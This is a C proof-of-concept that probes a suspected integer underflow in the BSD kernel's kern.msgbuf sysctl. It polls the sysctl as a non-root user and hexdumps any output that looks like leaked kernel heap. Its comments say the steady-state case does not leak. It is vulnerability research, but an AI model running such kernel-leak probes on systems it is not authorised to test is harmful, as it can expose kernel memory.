/*
 * DF-0035 PoC - sharper diagnostic for the integer-underflow in
 *              sysctl_kern_msgbuf's 3rd branch (sys/kern/subr_prf.c:1183).
 *
 * What this verifies:
 *   1. The pure unprivileged path: poll kern.msgbuf as a non-root user and
 *      look for any read that returns MORE bytes than msg_size (the decisive
 *      proof of the u_int underflow), or any read whose tail is non-text
 *      (adjacent heap residue).  Hits => kernel-heap info leak.
 *   2. (optional, root-assisted) If the kernel's msg_bufr is "stale" (only
 *      reachable after root writes kern.msgbuf_clear=1), the same poll CAN
 *      observe the underflow.  We don't trigger the clear here -- the wrapper
 *      script does that -- we just poll and report.
 *
 * Theory (confirmed by source trace, see VERDICT.md):
 *   - In steady state msg_bufr tracks msg_bufx - msg_size + 2048, so
 *     rindex_modulo == (msg_bufx + 2048) % msg_size.  The 3rd branch only
 *     fires when xindex_modulo == 0, forcing rindex_modulo == 2048.  The bug
 *     then computes n - rindex_modulo = (msg_size - 2048) - 2048 =
 *     msg_size - 4096 -- a 2048-byte UNDER-read, not an OOB read.  No leak.
 *   - The OOB underflow requires rindex_modulo > msg_size/2, which needs
 *     msg_bufr to be lagging far behind msg_bufx.  That state is only
 *     reachable after root writes kern.msgbuf_clear=1 (msg_bufr := msg_bufx);
 *     afterwards the window is exactly 1 msg_bufx value wide per msg_size
 *     bytes of new log output.
 *
 * Build:  cc -O2 -o msgbuf_diag msgbuf_diag.c
 * Run:    ./msgbuf_diag [iterations] [oldlen_bytes]
 *         default 2000000 iterations, 1<<20 oldlen.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

/* msg_size in the running kernel: MSGBUF_SIZE (1MiB) - sizeof(struct msgbuf).
 * We don't need to be exact -- we just need an upper bound for the "any read
 * longer than this?" check.  Use a comfortable 1.1 MiB. */
#define MSGBUF_UPPER_BOUND  (1U << 21)

static double
now_sec(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return ts.tv_sec + ts.tv_nsec / 1e9;
}

int
main(int argc, char **argv)
{
	unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 2000000UL;
	size_t oldlen = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0)
				   : (size_t)1 << 20;

	/* First, query the natural length so we know what "normal" looks like. */
	size_t nat = 0;
	if (sysctlbyname("kern.msgbuf", NULL, &nat, NULL, 0) != 0) {
		perror("sysctlbyname(len)");
		return 1;
	}
	fprintf(stderr, "[*] kern.msgbuf natural length = %zu bytes\n", nat);
	fprintf(stderr, "[*] polling %lu times with oldlen=%zu ...\n",
	    iters, oldlen);

	char *buf = malloc(oldlen ? oldlen : 1);
	if (!buf) { perror("malloc"); return 1; }

	unsigned long tried = 0;
	unsigned long over_msgbuflen = 0;   /* reads longer than MSGBUF_UPPER_BOUND */
	unsigned long over_nat = 0;	      /* reads longer than the natural length */
	unsigned long suspect_content = 0;  /* reads whose tail is mostly non-text */
	unsigned long max_seen = 0;
	size_t max_len = 0;

	double t0 = now_sec();
	for (unsigned long i = 0; i < iters; i++) {
		size_t l = oldlen;
		memset(buf, 0x5a, oldlen);
		if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0)
			continue;
		tried++;
		if (l > max_len) max_len = l;
		if (l > MSGBUF_UPPER_BOUND) {
			over_msgbuflen++;
			if (over_msgbuflen <= 3) {
				fprintf(stderr,
				    "[!] OVERFLOW READ #%lu: returned %zu bytes "
				    "(> msg_size bound %u) -- DECISIVE UNDERFLOW\n",
				    over_msgbuflen, l, MSGBUF_UPPER_BOUND);
			}
		}
		if (nat > 0 && l > nat + 16) {
			over_nat++;
			if (over_nat <= 3) {
				fprintf(stderr,
				    "[!] read #%lu returned %zu bytes (> nat %zu)\n",
				    over_nat, l, nat);
			}
		}
		/* Look at the trailing region for non-text residue.  The valid
		 * msgbuf is ASCII text; adjacent kernel heap typically is not. */
		if (l > 256) {
			size_t tail = l - 256;
			size_t bad = 0;
			for (size_t k = tail; k < l; k++) {
				unsigned char c = (unsigned char)buf[k];
				if (c != '\n' && c != '\t' && (c < 0x20 || c > 0x7e))
					bad++;
			}
			if (bad > 128) {
				suspect_content++;
				if (suspect_content <= 3) {
					fprintf(stderr,
					    "[!] suspect tail #%lu: %zu/256 non-text bytes "
					    "(possible adjacent heap)\n",
					    suspect_content, bad);
					/* hexdump first 64 bytes of the suspect tail */
					fprintf(stderr, "    tail[0..63]:");
					for (size_t k = tail; k < tail + 64 && k < l; k++)
						fprintf(stderr, " %02x",
						    (unsigned char)buf[k]);
					fprintf(stderr, "\n");
				}
			}
		}
		max_seen++;
	}
	double dt = now_sec() - t0;

	fprintf(stderr, "[*] %lu sysctl reads in %.2fs (%.0f/s)\n",
	    tried, dt, tried / dt);
	fprintf(stderr, "[*] max returned length observed: %zu bytes\n", max_len);
	fprintf(stderr, "[*] reads > MSGBUF_UPPER_BOUND (%u): %lu\n",
	    MSGBUF_UPPER_BOUND, over_msgbuflen);
	fprintf(stderr, "[*] reads > natural length: %lu\n", over_nat);
	fprintf(stderr, "[*] reads with suspect non-text tail: %lu\n",
	    suspect_content);
	fprintf(stderr, "[*] RESULT: %s\n",
	    (over_msgbuflen || suspect_content)
		? "LEAK CONFIRMED (OOB read observed)"
		: "no OOB observed this run");
	free(buf);
	return (over_msgbuflen || suspect_content) ? 0 : 2;
}
